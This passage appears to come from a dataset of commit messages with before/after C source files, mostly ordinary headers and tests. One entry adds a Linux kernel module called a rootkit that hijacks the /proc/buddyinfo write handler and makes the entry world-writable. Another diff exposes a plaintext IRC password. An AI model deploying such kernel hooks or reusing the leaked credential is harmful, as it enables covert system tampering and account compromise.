* to 0 to make it unlimited. 0 is returned on success, -1 on failure.
*/
int
timer_measure(void (*func)(void), struct timer *timer, int flags);
// These next functions are shortcuts that use timer_measure and use the
// default flags.
int
timer_measure_ms(void (*func)(void), unsigned long long ms,
struct timer *timer);
int
timer_measure_reps(void (*func)(void), unsigned int reps, struct timer *timer);
#endif
| #ifndef TIMER_H_
#define TIMER_H_ 1
/*
* By default, the timer calls the function a few extra times that aren't
* measured to get it into cache and ensure more consistent running times.
* Specifying this option in flags will stop this.
*/
#define TIMER_NO_EXTRA 1
/*
* By default, each of these functions assumes that the function is single
* threaded. Specify this option to make sure that timing is done properly with
* multi-threaded functions.
*/
#define TIMER_MULTI_THREAD 2
/*
* The timer might create new processes to isolate the code being timed.
* Specifying this flag prevents any new processes from being created.
*/
#define TIMER_NOPROC 4
/*
* The timer might create new threads to isolate the code being timed.
* Specifying this flag prevents any new threads from being created.
*/
#define TIMER_NOTHREAD 8
struct timer {
unsigned long long ns;
unsigned int reps;
};
/*
* Measures function 'func'. Sets timer->ns to the number of nanoseconds it took,
* and timer->reps to the number of repetitions. Uses the existing values of
* timer->ns and timer->reps as maximums - it won't do any more repetitions or take
* significantly more time than those specify. However, you can set one of them
* to 0 to make it unlimited. 0 is returned on success, -1 on failure.
*/
int
timer_measure(void (*func)(void), struct timer *timer, int flags);
// These next functions are shortcuts that use timer_measure and use the
// default flags. They just use 'timer' as an out argument.
int
timer_measure_ms(void (*func)(void), unsigned long long ms,
struct timer *timer);
int
timer_measure_reps(void (*func)(void), unsigned int reps, struct timer *timer);
#endif
|
Remove leftover constant declarations accidentally left behind by a previous patch. | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_
#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_
#pragma once
namespace extension_management_api_constants {
// Keys used for incoming arguments and outgoing JSON data.
extern const char kAppLaunchUrlKey[];
extern const char kDescriptionKey[];
extern const char kEnabledKey[];
extern const char kDisabledReasonKey[];
extern const char kHomepageUrlKey[];
extern const char kHostPermissionsKey[];
extern const char kIconsKey[];
extern const char kIdKey[];
extern const char kIsAppKey[];
extern const char kNameKey[];
extern const char kOfflineEnabledKey[];
extern const char kOptionsUrlKey[];
extern const char kPermissionsKey[];
extern const char kMayDisableKey[];
extern const char kSizeKey[];
extern const char kUpdateUrlKey[];
extern const char kUrlKey[];
extern const char kVersionKey[];
// Values for outgoing JSON data.
extern const char kDisabledReasonPermissionsIncrease[];
extern const char kDisabledReasonUnknown[];
// Error messages.
extern const char kExtensionCreateError[];
extern const char kGestureNeededForEscalationError[];
extern const char kManifestParseError[];
extern const char kNoExtensionError[];
extern const char kNotAnAppError[];
extern const char kUserCantDisableError[];
extern const char kUserDidNotReEnableError[];
} // namespace extension_management_api_constants
#endif // CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_
| // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_
#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_
#pragma once
namespace extension_management_api_constants {
// Keys used for incoming arguments and outgoing JSON data.
extern const char kAppLaunchUrlKey[];
extern const char kDisabledReasonKey[];
extern const char kHostPermissionsKey[];
extern const char kIconsKey[];
extern const char kIsAppKey[];
extern const char kPermissionsKey[];
extern const char kSizeKey[];
extern const char kUpdateUrlKey[];
extern const char kUrlKey[];
// Values for outgoing JSON data.
extern const char kDisabledReasonPermissionsIncrease[];
extern const char kDisabledReasonUnknown[];
// Error messages.
extern const char kExtensionCreateError[];
extern const char kGestureNeededForEscalationError[];
extern const char kManifestParseError[];
extern const char kNoExtensionError[];
extern const char kNotAnAppError[];
extern const char kUserCantDisableError[];
extern const char kUserDidNotReEnableError[];
} // namespace extension_management_api_constants
#endif // CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_
|
Add header file defining standard image sizes | /*
* Standard image size definitions
*
* Copyright (C) 2013, Sylwester Nawrocki <sylvester.nawrocki@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#ifndef _IMAGE_SIZES_H
#define _IMAGE_SIZES_H
#define CIF_WIDTH 352
#define CIF_HEIGHT 288
#define QCIF_WIDTH 176
#define QCIF_HEIGHT 144
#define QQCIF_WIDTH 88
#define QQCIF_HEIGHT 72
#define QQVGA_WIDTH 160
#define QQVGA_HEIGHT 120
#define QVGA_WIDTH 320
#define QVGA_HEIGHT 240
#define SXGA_WIDTH 1280
#define SXGA_HEIGHT 1024
#define VGA_WIDTH 640
#define VGA_HEIGHT 480
#endif /* _IMAGE_SIZES_H */
| |
Delete copy and move constructors for ConfigurableClassWrapper | #ifndef CALLER_CONFIGURABLE_CLASS_WRAPPER_H
#define CALLER_CONFIGURABLE_CLASS_WRAPPER_H
#include <memory>
#include <nan.h>
#include <string>
#include "cleanup_handle.h"
namespace nodegit {
class Context;
template<typename Traits>
class ConfigurableClassWrapper : public CleanupHandle {
public:
typedef typename Traits::cType cType;
typedef typename Traits::configurableCppClass configurableCppClass;
struct v8ConversionResult {
v8ConversionResult(std::string _error)
: error(std::move(_error)), result(nullptr)
{}
v8ConversionResult(std::shared_ptr<configurableCppClass> _result)
: result(std::move(_result))
{}
std::string error;
std::shared_ptr<configurableCppClass> result;
};
// We copy the entity
ConfigurableClassWrapper(nodegit::Context *_nodeGitContext)
: nodegitContext(_nodeGitContext), raw(nullptr) {}
virtual ~ConfigurableClassWrapper() {
if (raw != nullptr) {
delete raw;
raw = nullptr;
}
}
const Context *nodegitContext = nullptr;
cType *GetValue() {
return raw;
}
protected:
cType *raw;
std::vector<std::shared_ptr<CleanupHandle>> childCleanupVector;
};
}
#endif
| #ifndef CALLER_CONFIGURABLE_CLASS_WRAPPER_H
#define CALLER_CONFIGURABLE_CLASS_WRAPPER_H
#include <memory>
#include <nan.h>
#include <string>
#include "cleanup_handle.h"
namespace nodegit {
class Context;
template<typename Traits>
class ConfigurableClassWrapper : public CleanupHandle {
public:
typedef typename Traits::cType cType;
typedef typename Traits::configurableCppClass configurableCppClass;
struct v8ConversionResult {
v8ConversionResult(std::string _error)
: error(std::move(_error)), result(nullptr)
{}
v8ConversionResult(std::shared_ptr<configurableCppClass> _result)
: result(std::move(_result))
{}
std::string error;
std::shared_ptr<configurableCppClass> result;
};
// We copy the entity
ConfigurableClassWrapper(nodegit::Context *_nodeGitContext)
: nodegitContext(_nodeGitContext), raw(nullptr) {}
ConfigurableClassWrapper(const ConfigurableClassWrapper &) = delete;
ConfigurableClassWrapper(ConfigurableClassWrapper &&) = delete;
ConfigurableClassWrapper &operator=(const ConfigurableClassWrapper &) = delete;
ConfigurableClassWrapper &operator=(ConfigurableClassWrapper &&) = delete;
virtual ~ConfigurableClassWrapper() {
if (raw != nullptr) {
delete raw;
raw = nullptr;
}
}
const Context *nodegitContext = nullptr;
cType *GetValue() {
return raw;
}
protected:
cType *raw;
std::vector<std::shared_ptr<CleanupHandle>> childCleanupVector;
};
}
#endif
|
Fix link command pattern in offloading interoperability test. | // REQUIRES: clang-driver
// REQUIRES: powerpc-registered-target
// REQUIRES: nvptx-registered-target
//
// Verify that CUDA device commands do not get OpenMP flags.
//
// RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp %s 2>&1 \
// RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE
//
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: clang{{.*}}" "-cc1" "-triple" "nvptx64-nvidia-cuda"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT: -fopenmp
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas" "-m64"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary" "--cuda" "-64"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}" "-cc1" "-triple" "powerpc64le--linux-gnu"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: -fopenmp
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld" "-z" "relro" "--hash-style=gnu" "--eh-frame-hdr" "-m" "elf64lppc"
| // REQUIRES: clang-driver
// REQUIRES: powerpc-registered-target
// REQUIRES: nvptx-registered-target
//
// Verify that CUDA device commands do not get OpenMP flags.
//
// RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp %s 2>&1 \
// RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE
//
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: clang{{.*}}" "-cc1" "-triple" "nvptx64-nvidia-cuda"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT: -fopenmp
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas" "-m64"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary" "--cuda" "-64"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}" "-cc1" "-triple" "powerpc64le--linux-gnu"
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: -fopenmp
// NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld" {{.*}}"-m" "elf64lppc"
|
Define functions for polling of sockets. | #ifndef _SERVER_H
#define _SERVER_H
#include <time.h>
#include <sys/epoll.h>
#include "list.h"
#include "threadpool.h"
int open_listenfd(int port);
void* check_connections(void* data);
struct http_socket {
int fd;
/*struct pollfd* poll_fd;*/
struct epoll_event event;
char* read_buffer;
int read_buffer_size;
time_t last_access;
struct list_elem elem;
};
struct future_elem {
struct future* future;
struct list_elem elem;
};
#endif
| #ifndef _SERVER_H
#define _SERVER_H
#include <time.h>
#include <sys/epoll.h>
#include "list.h"
#include "threadpool.h"
struct http_socket;
int open_listenfd(int port);
void* check_connections(void* data);
int watch_read(struct http_socket* http);
int watch_write(struct http_socket* http);
int destroy_socket(struct http_socket* http);
struct http_socket {
int fd;
/*struct pollfd* poll_fd;*/
struct epoll_event event;
char* read_buffer;
int read_buffer_size;
time_t last_access;
struct list_elem elem;
};
struct future_elem {
struct future* future;
struct list_elem elem;
};
#endif
|
Add comment for added macros. | //
// PBMacros.h
// pblib
//
// Created by haxpor on 3/5/15.
// Copyright (c) 2015 Maethee Chongchitnant. All rights reserved.
//
#ifndef pblib_PBMacros_h
#define pblib_PBMacros_h
#define PB_IS_NSNull(obj) ((obj == (id)[NSNull null]) ? YES : NO)
#define PB_IS_NIL_OR_NSNull(obj) ((obj == nil) || (obj == (id)[NSNull null]) ? YES : NO)
#endif
| //
// PBMacros.h
// pblib
//
// Created by haxpor on 3/5/15.
// Copyright (c) 2015 Maethee Chongchitnant. All rights reserved.
//
#ifndef pblib_PBMacros_h
#define pblib_PBMacros_h
/**
Check against NSNull.
If input obj is NSNull then return YES, otherwise return NO.
*/
#define PB_IS_NSNull(obj) ((obj == (id)[NSNull null]) ? YES : NO)
/**
Check against nil or NSNull.
If input obj is nil, or NSNull then return YES, otherwise return NO.
*/
#define PB_IS_NIL_OR_NSNull(obj) ((obj == nil) || (obj == (id)[NSNull null]) ? YES : NO)
#endif
|
Make sure nchp is big enough for real vegetation tiles | C $Header$
C $Name$
c Land Grid Horizontal Dimension (Number of Tiles)
c ------------------------------------------------
integer nchp, maxtyp
parameter (maxtyp = 10)
c parameter (nchp = sNx*sNy*maxtyp)
parameter (nchp = 2048)
| C $Header$
C $Name$
c Land Grid Horizontal Dimension (Number of Tiles)
c ------------------------------------------------
integer nchp, maxtyp
parameter (maxtyp = 10)
parameter (nchp = sNx*sNy*maxtyp)
|
Add test for ana.base.context.int disabled | // PARAM: --enable ana.int.interval --disable exp.widen-context --disable ana.base.context.int
#include <assert.h>
int f(int x) {
if (x)
return f(x+1);
else
return x;
}
int main () {
int a = f(1);
assert(!a);
return 0;
}
| |
Fix shared library build for aura. | // Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef UI_AURA_AURA_SWITCHES_H_
#define UI_AURA_AURA_SWITCHES_H_
#pragma once
namespace switches {
extern const char kAuraHostWindowSize[];
extern const char kAuraWindows[];
} // namespace switches
#endif // UI_AURA_AURA_SWITCHES_H_
| // Copyright (c) 2011 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef UI_AURA_AURA_SWITCHES_H_
#define UI_AURA_AURA_SWITCHES_H_
#pragma once
#include "ui/aura/aura_export.h"
namespace switches {
AURA_EXPORT extern const char kAuraHostWindowSize[];
AURA_EXPORT extern const char kAuraWindows[];
} // namespace switches
#endif // UI_AURA_AURA_SWITCHES_H_
|
Support using KURLRequester with remote files | /****************************************************************************
** ui.h extension file, included from the uic-generated form implementation.
**
** If you wish to add, delete or rename functions or slots use
** Qt Designer which will update this file, preserving your code. Create an
** init() function in place of a constructor, and a destroy() function in
** place of a destructor.
*****************************************************************************/
void WebPresencePrefsUI::init()
{
m_url->setMode( KFile::File );
m_userStyleSheet->setFilter( "*.xsl" );
}
| |
Add example to run an command on linux using C language | #include<stdlib.h>
#include<stdio.h>
/* Run an program (in this case 'ls -la') and show it in stdout */
int main(void)
{
FILE *fd;
char str_cmd[1024], str_buf[1024];
sprintf(str_cmd, "ls -la /tmp >/dev/null && echo testmt > /tmp/sysmt.log && cat /tmp/sysmt.log");
//sprintf(str_cmd, "ls -la /tmp");
fd = popen(str_cmd, "r");
while (fgets(str_buf, 1024, fd) != NULL)
printf("%s", str_buf);
fclose(fd);
exit(0);
}
| |
Update reflection view on transition to visible state. | #pragma once
#include <QtGui/QMouseEvent>
#include <QtGui/QPaintEvent>
#include <QtWidgets/QWidget>
#include "binaryninjaapi.h"
#include "dockhandler.h"
#include "uitypes.h"
class ContextMenuManager;
class DisassemblyContainer;
class Menu;
class ViewFrame;
class BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler
{
Q_OBJECT
Q_INTERFACES(DockContextHandler)
ViewFrame* m_frame;
BinaryViewRef m_data;
DisassemblyContainer* m_disassemblyContainer;
public:
ReflectionView(ViewFrame* frame, BinaryViewRef data);
~ReflectionView();
virtual void notifyOffsetChanged(uint64_t offset) override;
virtual void notifyViewChanged(ViewFrame* frame) override;
virtual bool shouldBeVisible(ViewFrame* frame) override;
protected:
virtual void contextMenuEvent(QContextMenuEvent* event) override;
};
| #pragma once
#include <QtGui/QMouseEvent>
#include <QtGui/QPaintEvent>
#include <QtWidgets/QWidget>
#include "binaryninjaapi.h"
#include "dockhandler.h"
#include "uitypes.h"
class ContextMenuManager;
class DisassemblyContainer;
class Menu;
class ViewFrame;
class BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler
{
Q_OBJECT
Q_INTERFACES(DockContextHandler)
ViewFrame* m_frame;
BinaryViewRef m_data;
DisassemblyContainer* m_disassemblyContainer;
public:
ReflectionView(ViewFrame* frame, BinaryViewRef data);
~ReflectionView();
virtual void notifyOffsetChanged(uint64_t offset) override;
virtual void notifyViewChanged(ViewFrame* frame) override;
virtual void notifyVisibilityChanged(bool visible) override;
virtual bool shouldBeVisible(ViewFrame* frame) override;
protected:
virtual void contextMenuEvent(QContextMenuEvent* event) override;
};
|
Fix main parameter of the test application | #include <stdio.h>
#ifndef ENV_NAME
# define ENV_NAME "host"
#endif
int main(int argc, char* argv)
{
printf("Hello World from Rebuild environment " ENV_NAME "\n");
return 0;
}
| #include <stdio.h>
#ifndef ENV_NAME
# define ENV_NAME "host"
#endif
int main(int argc, char** argv)
{
printf("Hello World from Rebuild environment " ENV_NAME "\n");
return 0;
}
|
Add new cube-based LCD test |
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include "stm32746g_discovery.h"
#include "stm32746g_discovery_lcd.h"
#include "stm32746g_discovery_sdram.h"
#define LCD_FRAMEBUFFER SDRAM_DEVICE_ADDR
static void lcd_test(void) {
if (BSP_LCD_Init() != LCD_OK) {
printf(">>> BSP_LCD_Init failed\n");
}
/* Initialize the LCD Layers */
BSP_LCD_LayerDefaultInit(LTDC_ACTIVE_LAYER, LCD_FRAMEBUFFER);
/* Set LCD Foreground Layer */
BSP_LCD_SelectLayer(LTDC_ACTIVE_LAYER);
BSP_LCD_SetFont(&LCD_DEFAULT_FONT);
/* Clear the LCD */
BSP_LCD_SetBackColor(LCD_COLOR_WHITE);
BSP_LCD_Clear(LCD_COLOR_WHITE);
/* Set the LCD Text Color */
BSP_LCD_SetTextColor(LCD_COLOR_DARKBLUE);
/* Display LCD messages */
BSP_LCD_DisplayStringAt(0, 10, (uint8_t *)"STM32F746G BSP", CENTER_MODE);
BSP_LCD_SetTextColor(LCD_COLOR_DARKGREEN);
BSP_LCD_DisplayStringAt(0, 60, (uint8_t *)"Embox LCD example", CENTER_MODE);
BSP_LCD_SetTextColor(LCD_COLOR_BLACK);
BSP_LCD_DisplayStringAt(0, 200, (uint8_t *)"All rights reserved", CENTER_MODE);
}
int main(int argc, char *argv[]) {
printf("STM32F7 LCD test start\n");
lcd_test();
while (1) {
}
return 0;
}
| |
Add octapron test where base gets precise value for variable from octapron via EvalInt query | // SKIP PARAM: --sets ana.activated[+] octApron --enable ana.int.interval
#include <assert.h>
void foo(int a, int *pb) {
int b = *pb;
// base knows a == 4 and b == 4, octApron only knows a == 4
assert(a == b);
}
void main() {
int x, y, z, a, b;
if (x < y && y < z) {
// base doesn't know anything, octApron knows x < y < z
assert(x < y);
assert(y < z);
assert(x < z);
if (3 <= x && z <= 5) {
// base knows 3 <= x and z <= 5, octApron knows x == 3 and y == 4 and z == 5
a = y; // base should now know a == 4 via EvalInt query
assert(x == 3);
assert(y == 4);
assert(z == 5);
assert(a == 4);
b = 4;
foo(a, &b); // base should add a == 4 and b == 4 to context, octApron only adds a == 4
}
}
}
| |
Update files, Alura, Introdução a C - Parte 2, Aula 5.1 | #include <stdio.h>
void calcula(int* c) {
printf("calcula %d %d\n", (*c), c);
(*c)++;
printf("calcula %d %d\n", (*c), c);
}
int main() {
int c = 10;
printf("main %d %d\n", c, &c);
calcula(&c);
printf("main %d %d\n", c, &c);
}
| |
Fix copypasta to re-enable clang-format. | //
// NSDictionary+BONEquality.h
// BonMot
//
// Created by Zev Eisenberg on 7/11/15.
// Copyright © 2015 Zev Eisenberg. All rights reserved.
//
@import Foundation;
@import CoreGraphics.CGBase;
OBJC_EXTERN const CGFloat kBONCGFloatEpsilon;
OBJC_EXTERN BOOL BONCGFloatsCloseEnough(CGFloat float1, CGFloat float2);
// clang-format off
@interface NSDictionary <KeyType, ObjectType> (BONEquality)
- (BOOL)bon_isCloseEnoughEqualToDictionary : (NSDictionary<KeyType, ObjectType> *_Nullable)dictionary;
@end
// clang-format off
| //
// NSDictionary+BONEquality.h
// BonMot
//
// Created by Zev Eisenberg on 7/11/15.
// Copyright © 2015 Zev Eisenberg. All rights reserved.
//
@import Foundation;
@import CoreGraphics.CGBase;
OBJC_EXTERN const CGFloat kBONCGFloatEpsilon;
OBJC_EXTERN BOOL BONCGFloatsCloseEnough(CGFloat float1, CGFloat float2);
// clang-format off
@interface NSDictionary <KeyType, ObjectType> (BONEquality)
- (BOOL)bon_isCloseEnoughEqualToDictionary : (NSDictionary<KeyType, ObjectType> *_Nullable)dictionary;
@end
// clang-format on
|
Add a test program with a bit more substance. | #include "lua.h"
#include "lua_debug.h"
int main() {
return 0;
}
| #include "lua.h"
#include "lualib.h"
#include "lauxlib.h"
#include "lua_debug.h"
static const luaL_Reg STANDARD_LIBS[] = {
{ "_G", luaopen_base },
{ LUA_TABLIBNAME, luaopen_table },
{ LUA_STRLIBNAME, luaopen_string },
{ LUA_MATHLIBNAME, luaopen_math },
{ LUA_DBLIBNAME, luaopen_debug },
{ 0, 0 }
};
int main() {
lua_State * l = (lua_State *)luaL_newstate();
const luaL_Reg *lib;
for (lib = STANDARD_LIBS; lib->func; ++lib) {
luaL_requiref(l, lib->name, lib->func, 1);
lua_pop(l, 1);
}
lua_debug_init(l, "/tmp/socket_lua_debug");
return 0;
}
|
Include the appropriate endianness header | #ifndef _ASM_POWERPC_BYTEORDER_H
#define _ASM_POWERPC_BYTEORDER_H
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#include <linux/byteorder/big_endian.h>
#endif /* _ASM_POWERPC_BYTEORDER_H */
| #ifndef _ASM_POWERPC_BYTEORDER_H
#define _ASM_POWERPC_BYTEORDER_H
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#ifdef __LITTLE_ENDIAN__
#include <linux/byteorder/little_endian.h>
#else
#include <linux/byteorder/big_endian.h>
#endif
#endif /* _ASM_POWERPC_BYTEORDER_H */
|
Add regression test with deep integer expressions | // from SV-COMP: nla-digbench-scaling/ps6-ll_valuebound5.c
// contains deep integer expressions that shouldn't cause extremely exponential slowdown
// when evaluated by base's eval_rv and EvalInt jointly
// runs (as unknown) under 0.1s
#include <assert.h>
void assume_abort_if_not(int cond) {
if(!cond) {abort();}
}
int main() {
short k;
long long y, x, c;
assume_abort_if_not(k>=0 && k<=5);
assume_abort_if_not(k <= 256);
y = 0;
x = 0;
c = 0;
while (1) {
assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0);
if (!(c < k))
break;
c = c + 1;
y = y + 1;
x = y * y * y * y * y + x;
}
assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0);
assert(k*y == y*y);
return 0;
}
| |
Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_TEXTURE_COMPONENTS | #include "ring.h"
/*
OpenGL 1.1 Extension
Copyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>
*/
#include <GL/glew.h>
#include <GL/glut.h>
RING_FUNC(ring_get_gl_zero)
{
RING_API_RETNUMBER(GL_ZERO);
}
RING_FUNC(ring_get_gl_false)
{
RING_API_RETNUMBER(GL_FALSE);
}
RING_FUNC(ring_get_gl_logic_op)
{
RING_API_RETNUMBER(GL_LOGIC_OP);
}
RING_FUNC(ring_get_gl_none)
{
RING_API_RETNUMBER(GL_NONE);
}
RING_API void ringlib_init(RingState *pRingState)
{
ring_vm_funcregister("get_gl_zero",ring_get_gl_zero);
ring_vm_funcregister("get_gl_false",ring_get_gl_false);
ring_vm_funcregister("get_gl_logic_op",ring_get_gl_logic_op);
ring_vm_funcregister("get_gl_none",ring_get_gl_none);
}
| #include "ring.h"
/*
OpenGL 1.1 Extension
Copyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>
*/
#include <GL/glew.h>
#include <GL/glut.h>
RING_FUNC(ring_get_gl_zero)
{
RING_API_RETNUMBER(GL_ZERO);
}
RING_FUNC(ring_get_gl_false)
{
RING_API_RETNUMBER(GL_FALSE);
}
RING_FUNC(ring_get_gl_logic_op)
{
RING_API_RETNUMBER(GL_LOGIC_OP);
}
RING_FUNC(ring_get_gl_none)
{
RING_API_RETNUMBER(GL_NONE);
}
RING_FUNC(ring_get_gl_texture_components)
{
RING_API_RETNUMBER(GL_TEXTURE_COMPONENTS);
}
RING_API void ringlib_init(RingState *pRingState)
{
ring_vm_funcregister("get_gl_zero",ring_get_gl_zero);
ring_vm_funcregister("get_gl_false",ring_get_gl_false);
ring_vm_funcregister("get_gl_logic_op",ring_get_gl_logic_op);
ring_vm_funcregister("get_gl_none",ring_get_gl_none);
ring_vm_funcregister("get_gl_texture_components",ring_get_gl_texture_components);
}
|
Add module that prints YOU HAVE BEEN HACKED when writing to /proc/buddyinfo | #include <linux/module.h> // included for all kernel modules
#include <linux/kernel.h> // included for KERN_INFO
#include <linux/init.h> // included for __init and __exit macros
#include <linux/proc_fs.h>
#define MODULE_NAME "rootkit"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Julia Evans");
MODULE_DESCRIPTION("The tiniest rootkit");
static struct file_operations handler_fops;
const struct file_operations *handler_original = 0;
struct proc_dir_entry *handler, *root;
static ssize_t make_pid_root (
struct file *filp,
const char __user *data,
size_t sz,
loff_t *l)
{
printk("YOU HAVE BEEN HACKED\n");
return -1;
}
/**
* Infects /proc/buddyinfo with a device handler that sets
*/
void install_handler(struct proc_dir_entry *root) {
struct proc_dir_entry *ptr = root->subdir;
while(ptr && strcmp(ptr->name, "buddyinfo"))
ptr = ptr->next;
if(ptr) {
handler = ptr;
ptr->mode |= S_IWUGO;
handler_original = (struct file_operations*)ptr->proc_fops;
// create new handler
handler_fops = *ptr->proc_fops;
handler_fops.write = make_pid_root;
ptr->proc_fops = &handler_fops;
}
}
static int __init module_init_proc(void) {
static struct file_operations fileops_struct = {0};
struct proc_dir_entry *new_proc;
// dummy to get proc_dir_entry of /proc
new_proc = proc_create("dummy", 0644, 0, &fileops_struct);
root = new_proc->parent;
// install the handler to wait for orders...
install_handler(root);
// it's no longer required.
remove_proc_entry("dummy", 0);
return 0;
}
static int __init rootkit_init(void)
{
module_init_proc();
printk(KERN_INFO "Starting kernel module!\n");
return 0; // Non-zero return means that the module couldn't be loaded.
}
static void __exit rootkit_cleanup(void)
{
handler->proc_fops = handler_original;
printk(KERN_INFO "Cleaning up module.\n");
}
module_init(rootkit_init);
module_exit(rootkit_cleanup);
| |
Structure the program for minimum coupling | #ifndef _IRC_H
#define _IRC_H
#define NICK "slackboat"
#define SERVER "irc.what.cd"
#define PASSWORD "thisistheonlygoodbot"
void irc_notice_event(char *, char *, char *);
void irc_welcome_event(void);
void irc_privmsg_event(char *, char *, char *);
void irc_privmsg(const char *, const char *);
void irc_join_channel(const char *);
#endif
| #ifndef _IRC_H
#define _IRC_H
#define NICK "slackboat"
#define SERVER "irc.what.cd"
#define PASSWORD "PASSWORD"
void irc_notice_event(char *, char *, char *);
void irc_welcome_event(void);
void irc_privmsg_event(char *, char *, char *);
void irc_privmsg(const char *, const char *);
void irc_join_channel(const char *);
#endif
|
Add visibility to epoll headers | /* Copyright (c) 2016, Nokia
* Copyright (c) 2016, ENEA Software AB
* All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#ifndef __OFP_EPOLL_H__
#define __OFP_EPOLL_H__
#include <stdint.h>
typedef union ofp_epoll_data {
void *ptr;
int fd;
uint32_t u32;
uint64_t u64;
} ofp_epoll_data_t;
struct ofp_epoll_event {
uint32_t events;
ofp_epoll_data_t data;
};
enum OFP_EPOLL_EVENTS {
OFP_EPOLLIN = 0x001,
#define OFP_EPOLLIN OFP_EPOLLIN
};
#define OFP_EPOLL_CTL_ADD 1
#define OFP_EPOLL_CTL_DEL 2
#define OFP_EPOLL_CTL_MOD 3
int ofp_epoll_create(int size);
int ofp_epoll_ctl(int epfd, int op, int fd, struct ofp_epoll_event *event);
int ofp_epoll_wait(int epfd, struct ofp_epoll_event *events, int maxevents, int timeout);
#endif
| /* Copyright (c) 2016, Nokia
* Copyright (c) 2016, ENEA Software AB
* All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
#ifndef __OFP_EPOLL_H__
#define __OFP_EPOLL_H__
#include <stdint.h>
#if __GNUC__ >= 4
#pragma GCC visibility push(default)
#endif
typedef union ofp_epoll_data {
void *ptr;
int fd;
uint32_t u32;
uint64_t u64;
} ofp_epoll_data_t;
struct ofp_epoll_event {
uint32_t events;
ofp_epoll_data_t data;
};
enum OFP_EPOLL_EVENTS {
OFP_EPOLLIN = 0x001,
#define OFP_EPOLLIN OFP_EPOLLIN
};
#define OFP_EPOLL_CTL_ADD 1
#define OFP_EPOLL_CTL_DEL 2
#define OFP_EPOLL_CTL_MOD 3
int ofp_epoll_create(int size);
int ofp_epoll_ctl(int epfd, int op, int fd, struct ofp_epoll_event *event);
int ofp_epoll_wait(int epfd, struct ofp_epoll_event *events, int maxevents, int timeout);
#if __GNUC__ >= 4
#pragma GCC visibility pop
#endif
#endif
|
Add float comparison utility macros for tests | #include <string.h>
#include <math.h>
#include <float.h>
#include <glib.h>
#include <json-glib/json-glib.h>
#define json_fuzzy_equals(n1,n2,epsilon) \
(((n1) > (n2) ? ((n1) - (n2)) : ((n2) - (n1))) < (epsilon))
#define json_assert_fuzzy_equals(n1,n2,epsilon) \
G_STMT_START { \
double __n1 = (n1), __n2 = (n2), __epsilon = (epsilon); \
if (json_fuzzy_equals (__n1, __n2, __epsilon)) ; else { \
g_assertion_message_cmpnum (G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, \
#n1 " == " #n2 " (+/- " #epsilon ")", \
__n1, "==", __n2, 'f'); \
} \
} G_STMT_END
#define json_assert_almost_equals(n1,n2) \
json_assert_fuzzy_equals (n1, n2, DBL_EPSILON)
| |
Set prgname to stub while in daemon | /*
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in
* the LICENSE file in the root directory of this source tree. An
* additional grant of patent rights can be found in the PATENTS file
* in the same directory.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <limits.h>
#include <arpa/inet.h>
